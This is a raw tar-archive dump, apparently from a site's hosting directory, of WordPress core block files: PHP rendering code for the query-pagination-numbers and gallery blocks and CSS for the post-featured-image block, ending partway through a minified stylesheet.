File: /home/boxelikax/public_html/demoltec.com/blocks.tar
query-pagination-numbers.php 0000644 00000011134 15237550571 0012234 0 ustar 00 <?php
/**
* Server-side rendering of the `core/query-pagination-numbers` block.
*
* @package WordPress
*/
/**
* Renders the `core/query-pagination-numbers` block on the server.
*
* @since 5.8.0
*
* @global WP_Query $wp_query WordPress Query object.
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
* @return string Returns the pagination numbers for the Query.
*/
function render_block_core_query_pagination_numbers( $attributes, $content, $block ) {
$page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
$enhanced_pagination = (bool) ( $block->context['enhancedPagination'] ?? false );
$page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ];
$max_page = (int) ( $block->context['query']['pages'] ?? 0 );
$wrapper_attributes = get_block_wrapper_attributes();
$content = '';
global $wp_query;
$mid_size = isset( $block->attributes['midSize'] ) ? (int) $block->attributes['midSize'] : null;
if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) {
// Take into account if we have set a bigger `max page`
// than what the query has.
$total = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page;
$paginate_args = array(
'prev_next' => false,
'total' => $total,
);
if ( null !== $mid_size ) {
$paginate_args['mid_size'] = $mid_size;
}
$content = paginate_links( $paginate_args );
} else {
$block_query = new WP_Query( build_query_vars_from_query_block( $block, $page ) );
// `paginate_links` works with the global $wp_query, so we have to
// temporarily switch it with our custom query.
$prev_wp_query = $wp_query;
$wp_query = $block_query;
$total = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page;
$paginate_args = array(
'base' => '%_%',
'format' => "?$page_key=%#%",
'current' => max( 1, $page ),
'total' => $total,
'prev_next' => false,
);
if ( null !== $mid_size ) {
$paginate_args['mid_size'] = $mid_size;
}
if ( 1 !== $page ) {
/**
* `paginate_links` doesn't use the provided `format` when the page is `1`.
* This is great for the main query as it removes the extra query params
* making the URL shorter, but in the case of multiple custom queries is
* problematic. It results in returning an empty link which ends up with
* a link to the current page.
*
* A way to address this is to add a `fake` query arg with no value that
* is the same for all custom queries. This way the link is not empty and
* preserves all the other existent query args.
*
* @see https://developer.wordpress.org/reference/functions/paginate_links/
*
* The proper fix of this should be in core. Track Ticket:
* @see https://core.trac.wordpress.org/ticket/53868
*
* TODO: After two WP versions (starting from the WP version the core patch landed),
* we should remove this and call `paginate_links` with the proper new arg.
*/
$paginate_args['add_args'] = array( 'cst' => '' );
}
// We still need to preserve `paged` query param if exists, as is used
// for Queries that inherit from global context.
$paged = empty( $_GET['paged'] ) ? null : (int) $_GET['paged'];
if ( $paged ) {
$paginate_args['add_args'] = array( 'paged' => $paged );
}
$content = paginate_links( $paginate_args );
wp_reset_postdata(); // Restore original Post Data.
$wp_query = $prev_wp_query;
}
if ( empty( $content ) ) {
return '';
}
if ( $enhanced_pagination ) {
$p = new WP_HTML_Tag_Processor( $content );
$tag_index = 0;
while ( $p->next_tag(
array( 'class_name' => 'page-numbers' )
) ) {
if ( null === $p->get_attribute( 'data-wp-key' ) ) {
$p->set_attribute( 'data-wp-key', 'index-' . $tag_index++ );
}
if ( 'A' === $p->get_tag() ) {
$p->set_attribute( 'data-wp-on--click', 'core/query::actions.navigate' );
}
}
$content = $p->get_updated_html();
}
return sprintf(
'<div %1$s>%2$s</div>',
$wrapper_attributes,
$content
);
}
/**
* Registers the `core/query-pagination-numbers` block on the server.
*
* @since 5.8.0
*/
function register_block_core_query_pagination_numbers() {
register_block_type_from_metadata(
__DIR__ . '/query-pagination-numbers',
array(
'render_callback' => 'render_block_core_query_pagination_numbers',
)
);
}
add_action( 'init', 'register_block_core_query_pagination_numbers' );
gallery.php 0000644 00000021553 15237550571 0006734 0 ustar 00 <?php
/**
* Server-side rendering of the `core/gallery` block.
*
* @package WordPress
*/
/**
* Handles backwards compatibility for Gallery Blocks,
* whose images feature a `data-id` attribute.
*
* Now that the Gallery Block contains inner Image Blocks,
* we add a custom `data-id` attribute before rendering the gallery
* so that the Image Block can pick it up in its render_callback.
*
* @since 5.9.0
*
* @param array $parsed_block The block being rendered.
* @return array The migrated block object.
*/
function block_core_gallery_data_id_backcompatibility( $parsed_block ) {
if ( 'core/gallery' === $parsed_block['blockName'] ) {
foreach ( $parsed_block['innerBlocks'] as $key => $inner_block ) {
if ( 'core/image' === $inner_block['blockName'] ) {
if ( ! isset( $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] ) && isset( $inner_block['attrs']['id'] ) ) {
$parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] = esc_attr( $inner_block['attrs']['id'] );
}
}
}
}
return $parsed_block;
}
add_filter( 'render_block_data', 'block_core_gallery_data_id_backcompatibility' );
/**
* Adds a unique ID to the gallery block context.
*
* @since 7.0.0
*
* @param array $context Default context.
* @param array $parsed_block Block being rendered, filtered by render_block_data.
* @return array Filtered context.
*/
function block_core_gallery_render_context( $context, $parsed_block ) {
if ( 'core/gallery' === $parsed_block['blockName'] ) {
$context['galleryId'] = uniqid();
}
return $context;
}
add_filter( 'render_block_context', 'block_core_gallery_render_context', 10, 2 );
/**
* Renders the `core/gallery` block on the server.
*
* @since 6.0.0
*
* @param array $attributes Attributes of the block being rendered.
* @param string $content Content of the block being rendered.
* @param array $block The block instance being rendered.
* @return string The content of the block being rendered.
*/
function block_core_gallery_render( $attributes, $content, $block ) {
// Adds a style tag for the --wp--style--unstable-gallery-gap var.
// The Gallery block needs to recalculate Image block width based on
// the current gap setting in order to maintain the number of flex columns
// so a css var is added to allow this.
$gap = $attributes['style']['spacing']['blockGap'] ?? null;
// Skip if gap value contains unsupported characters.
// Regex for CSS value borrowed from `safecss_filter_attr`, and used here
// because we only want to match against the value, not the CSS attribute.
if ( is_array( $gap ) ) {
foreach ( $gap as $key => $value ) {
// Make sure $value is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null.
$value = is_string( $value ) ? $value : '';
$value = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value;
// Get spacing CSS variable from preset value if provided.
if ( is_string( $value ) && str_contains( $value, 'var:preset|spacing|' ) ) {
$index_to_splice = strrpos( $value, '|' ) + 1;
$slug = _wp_to_kebab_case( substr( $value, $index_to_splice ) );
$value = "var(--wp--preset--spacing--$slug)";
}
$gap[ $key ] = $value;
}
} else {
// Make sure $gap is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null.
$gap = is_string( $gap ) ? $gap : '';
$gap = $gap && preg_match( '%[\\\(&=}]|/\*%', $gap ) ? null : $gap;
// Get spacing CSS variable from preset value if provided.
if ( is_string( $gap ) && str_contains( $gap, 'var:preset|spacing|' ) ) {
$index_to_splice = strrpos( $gap, '|' ) + 1;
$slug = _wp_to_kebab_case( substr( $gap, $index_to_splice ) );
$gap = "var(--wp--preset--spacing--$slug)";
}
}
$unique_gallery_classname = wp_unique_id( 'wp-block-gallery-' );
$processed_content = new WP_HTML_Tag_Processor( $content );
$processed_content->next_tag();
$processed_content->add_class( $unique_gallery_classname );
// --gallery-block--gutter-size is deprecated. --wp--style--gallery-gap-default should be used by themes that want to set a default
// gap on the gallery.
$fallback_gap = 'var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )';
$gap_value = $gap ? $gap : $fallback_gap;
$gap_column = $gap_value;
if ( is_array( $gap_value ) ) {
$gap_row = $gap_value['top'] ?? $fallback_gap;
$gap_column = $gap_value['left'] ?? $fallback_gap;
$gap_value = $gap_row === $gap_column ? $gap_row : $gap_row . ' ' . $gap_column;
}
// The unstable gallery gap calculation requires a real value (such as `0px`) and not `0`.
if ( '0' === $gap_column ) {
$gap_column = '0px';
}
// Set the CSS variable to the column value, and the `gap` property to the combined gap value.
$gallery_styles = array(
array(
'selector' => ".wp-block-gallery.{$unique_gallery_classname}",
'declarations' => array(
'--wp--style--unstable-gallery-gap' => $gap_column,
'gap' => $gap_value,
),
),
);
wp_style_engine_get_stylesheet_from_css_rules(
$gallery_styles,
array( 'context' => 'block-supports' )
);
// The WP_HTML_Tag_Processor class calls get_updated_html() internally
// when the instance is treated as a string, but here we explicitly
// convert it to a string.
$updated_content = $processed_content->get_updated_html();
/*
* Randomize the order of image blocks. Ideally we should shuffle
* the `$parsed_block['innerBlocks']` via the `render_block_data` hook.
* However, this hook doesn't apply inner block updates when blocks are
* nested.
* @todo In the future, if this hook supports updating innerBlocks in
* nested blocks, it should be refactored.
*
* @see: https://github.com/WordPress/gutenberg/pull/58733
*/
if ( ! empty( $attributes['randomOrder'] ) ) {
// This pattern matches figure elements with the `wp-block-image`
// class to avoid the gallery's wrapping `figure` element and
// extract images only.
$pattern = '/<figure[^>]*\bwp-block-image\b[^>]*>.*?<\/figure>/s';
preg_match_all( $pattern, $updated_content, $matches );
if ( $matches ) {
$image_blocks = $matches[0];
shuffle( $image_blocks );
$i = 0;
$updated_content = preg_replace_callback(
$pattern,
static function () use ( $image_blocks, &$i ) {
return $image_blocks[ $i++ ];
},
$updated_content
);
}
}
// Gets all image IDs from the state that match this gallery's ID.
$state = wp_interactivity_state( 'core/image' );
$gallery_id = $block->context['galleryId'] ?? null;
$image_ids = array();
// Extracts image IDs from state metadata that match the current gallery ID.
if ( isset( $gallery_id ) && isset( $state['metadata'] ) ) {
foreach ( $state['metadata'] as $image_id => $metadata ) {
if ( isset( $metadata['galleryId'] ) && $metadata['galleryId'] === $gallery_id ) {
$image_ids[] = $image_id;
}
}
}
// If there are image IDs associated with this gallery, set interactivity
// attributes and order metadata for lightbox navigation.
if ( ! empty( $image_ids ) ) {
$total = count( $image_ids );
$lightbox_index = 0;
$processor = new WP_HTML_Tag_Processor( $updated_content );
$processor->next_tag();
$processor->set_attribute( 'data-wp-interactive', 'core/gallery' );
$processor->set_attribute(
'data-wp-context',
wp_json_encode(
array( 'galleryId' => $gallery_id ),
JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP
)
);
while ( $processor->next_tag( 'figure' ) ) {
$wp_key = $processor->get_attribute( 'data-wp-key' );
if ( $wp_key && isset( $state['metadata'][ $wp_key ] ) ) {
$alt = $state['metadata'][ $wp_key ]['alt'];
wp_interactivity_state(
'core/image',
array(
'metadata' => array(
$wp_key => array(
'customAriaLabel' => empty( $alt )
/* translators: %1$s: current image index, %2$s: total number of images */
? sprintf( __( 'Enlarged image %1$s of %2$s' ), $lightbox_index + 1, $total )
/* translators: %1$s: current image index, %2$s: total number of images, %3$s: Image alt text */
: sprintf( __( 'Enlarged image %1$s of %2$s: %3$s' ), $lightbox_index + 1, $total, $alt ),
/* translators: %1$s: current image index, %2$s: total number of images */
'triggerButtonAriaLabel' => sprintf( __( 'Enlarge %1$s of %2$s' ), $lightbox_index + 1, $total ),
'order' => $lightbox_index,
),
),
)
);
++$lightbox_index;
}
}
return $processor->get_updated_html();
}
return $updated_content;
}
/**
* Registers the `core/gallery` block on server.
*
* @since 5.9.0
*/
function register_block_core_gallery() {
register_block_type_from_metadata(
__DIR__ . '/gallery',
array(
'render_callback' => 'block_core_gallery_render',
)
);
}
add_action( 'init', 'register_block_core_gallery' );
post-featured-image/style.min.css 0000644 00000003451 15237550571 0013057 0 ustar 00 .wp-block-post-featured-image{margin-left:0;margin-right:0}.wp-block-post-featured-image a{display:block;height:100%}.wp-block-post-featured-image :where(img){box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom;width:100%}.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{width:100%}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{background-color:#000;inset:0;position:absolute}.wp-block-post-featured-image{position:relative}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{background-color:initial}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{opacity:0}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{opacity:.1}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{opacity:.2}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{opacity:.3}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{opacity:.4}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{opacity:.5}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{opacity:.6}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{opacity:.7}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{opacity:.8}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{opacity:.9}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{opacity:1}.wp-block-post-featured-image:where(.alignleft,.alignright){width:100%} post-featured-image/style-rtl.min.css 0000644 00000003451 15237550571 0013656 0 ustar 00 .wp-block-post-featured-image{margin-left:0;margin-right:0}.wp-block-post-featured-image a{display:block;height:100%}.wp-block-post-featured-image :where(img){box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom;width:100%}.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{width:100%}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{background-color:#000;inset:0;position:absolute}.wp-block-post-featured-image{position:relative}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{background-color:initial}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{opacity:0}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{opacity:.1}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{opacity:.2}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{opacity:.3}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{opacity:.4}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{opacity:.5}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{opacity:.6}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{opacity:.7}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{opacity:.8}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{opacity:.9}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{opacity:1}.wp-block-post-featured-image:where(.alignleft,.alignright){width:100%} post-featured-image/style.css 0000644 00000004002 15237550571 0012266 0 ustar 00 /**
* Colors
*/
.wp-block-post-featured-image {
margin-left: 0;
margin-right: 0;
}
.wp-block-post-featured-image a {
display: block;
height: 100%;
}
.wp-block-post-featured-image :where(img) {
max-width: 100%;
width: 100%;
height: auto;
vertical-align: bottom;
box-sizing: border-box;
}
.wp-block-post-featured-image.alignwide img, .wp-block-post-featured-image.alignfull img {
width: 100%;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim {
position: absolute;
inset: 0;
background-color: #000;
}
.wp-block-post-featured-image {
position: relative;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient {
background-color: transparent;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0 {
opacity: 0;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10 {
opacity: 0.1;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20 {
opacity: 0.2;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30 {
opacity: 0.3;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40 {
opacity: 0.4;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50 {
opacity: 0.5;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60 {
opacity: 0.6;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70 {
opacity: 0.7;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80 {
opacity: 0.8;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90 {
opacity: 0.9;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100 {
opacity: 1;
}
.wp-block-post-featured-image:where(.alignleft, .alignright) {
width: 100%;
} post-featured-image/editor.css 0000644 00000013623 15237550571 0012425 0 ustar 00 /**
* Colors
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
.wp-block-post-featured-image .block-editor-media-placeholder {
z-index: 1;
backdrop-filter: none;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder,
.wp-block-post-featured-image .components-placeholder {
justify-content: center;
align-items: center;
padding: 0;
display: flex;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload,
.wp-block-post-featured-image .components-placeholder .components-form-file-upload {
display: none;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button,
.wp-block-post-featured-image .components-placeholder .components-button {
margin: auto;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
width: 48px;
height: 48px;
border-radius: 50%;
position: relative;
background: var(--wp-admin-theme-color);
border-color: var(--wp-admin-theme-color);
border-style: solid;
color: #fff;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button > svg,
.wp-block-post-featured-image .components-placeholder .components-button > svg {
color: inherit;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder,
.wp-block-post-featured-image .components-placeholder {
min-height: 200px;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),
.wp-block-post-featured-image .components-placeholder:where(.has-border-color),
.wp-block-post-featured-image img:where(.has-border-color) {
border-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),
.wp-block-post-featured-image img:where([style*=border-top-color]) {
border-top-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),
.wp-block-post-featured-image img:where([style*=border-right-color]) {
border-right-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),
.wp-block-post-featured-image img:where([style*=border-bottom-color]) {
border-bottom-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),
.wp-block-post-featured-image img:where([style*=border-left-color]) {
border-left-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),
.wp-block-post-featured-image img:where([style*=border-width]) {
border-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),
.wp-block-post-featured-image img:where([style*=border-top-width]) {
border-top-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),
.wp-block-post-featured-image img:where([style*=border-right-width]) {
border-right-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),
.wp-block-post-featured-image img:where([style*=border-bottom-width]) {
border-bottom-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),
.wp-block-post-featured-image img:where([style*=border-left-width]) {
border-left-style: solid;
}
.wp-block-post-featured-image[style*=height] .components-placeholder {
min-height: 48px;
min-width: 48px;
height: 100%;
width: 100%;
}
.wp-block-post-featured-image > a {
pointer-events: none;
}
.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,
.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,
.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label {
opacity: 1;
pointer-events: auto;
}
.wp-block-post-featured-image.is-transient {
position: relative;
}
.wp-block-post-featured-image.is-transient img {
opacity: 0.3;
}
.wp-block-post-featured-image.is-transient .components-spinner {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
div[data-type="core/post-featured-image"] img {
max-width: 100%;
height: auto;
display: block;
} post-featured-image/editor-rtl.css 0000644 00000013623 15237550571 0013224 0 ustar 00 /**
* Colors
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
.wp-block-post-featured-image .block-editor-media-placeholder {
z-index: 1;
backdrop-filter: none;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder,
.wp-block-post-featured-image .components-placeholder {
justify-content: center;
align-items: center;
padding: 0;
display: flex;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload,
.wp-block-post-featured-image .components-placeholder .components-form-file-upload {
display: none;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button,
.wp-block-post-featured-image .components-placeholder .components-button {
margin: auto;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
width: 48px;
height: 48px;
border-radius: 50%;
position: relative;
background: var(--wp-admin-theme-color);
border-color: var(--wp-admin-theme-color);
border-style: solid;
color: #fff;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button > svg,
.wp-block-post-featured-image .components-placeholder .components-button > svg {
color: inherit;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder,
.wp-block-post-featured-image .components-placeholder {
min-height: 200px;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),
.wp-block-post-featured-image .components-placeholder:where(.has-border-color),
.wp-block-post-featured-image img:where(.has-border-color) {
border-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),
.wp-block-post-featured-image img:where([style*=border-top-color]) {
border-top-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),
.wp-block-post-featured-image img:where([style*=border-right-color]) {
border-left-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),
.wp-block-post-featured-image img:where([style*=border-bottom-color]) {
border-bottom-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),
.wp-block-post-featured-image img:where([style*=border-left-color]) {
border-right-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),
.wp-block-post-featured-image img:where([style*=border-width]) {
border-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),
.wp-block-post-featured-image img:where([style*=border-top-width]) {
border-top-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),
.wp-block-post-featured-image img:where([style*=border-right-width]) {
border-left-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),
.wp-block-post-featured-image img:where([style*=border-bottom-width]) {
border-bottom-style: solid;
}
.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),
.wp-block-post-featured-image img:where([style*=border-left-width]) {
border-right-style: solid;
}
.wp-block-post-featured-image[style*=height] .components-placeholder {
min-height: 48px;
min-width: 48px;
height: 100%;
width: 100%;
}
.wp-block-post-featured-image > a {
pointer-events: none;
}
.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,
.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,
.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label {
opacity: 1;
pointer-events: auto;
}
.wp-block-post-featured-image.is-transient {
position: relative;
}
.wp-block-post-featured-image.is-transient img {
opacity: 0.3;
}
.wp-block-post-featured-image.is-transient .components-spinner {
position: absolute;
top: 50%;
right: 50%;
transform: translate(50%, -50%);
}
div[data-type="core/post-featured-image"] img {
max-width: 100%;
height: auto;
display: block;
} post-featured-image/editor-rtl.min.css 0000644 00000011510 15237550571 0013777 0 ustar 00 .wp-block-post-featured-image .block-editor-media-placeholder{backdrop-filter:none;z-index:1}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{align-items:center;display:flex;justify-content:center;padding:0}.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{display:none}.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;margin:auto;padding:0;position:relative;width:48px}.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{color:inherit}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{min-height:200px}.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){border-right-style:solid}.wp-block-post-featured-image[style*=height] .components-placeholder{height:100%;min-height:48px;min-width:48px;width:100%}.wp-block-post-featured-image>a{pointer-events:none}.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration 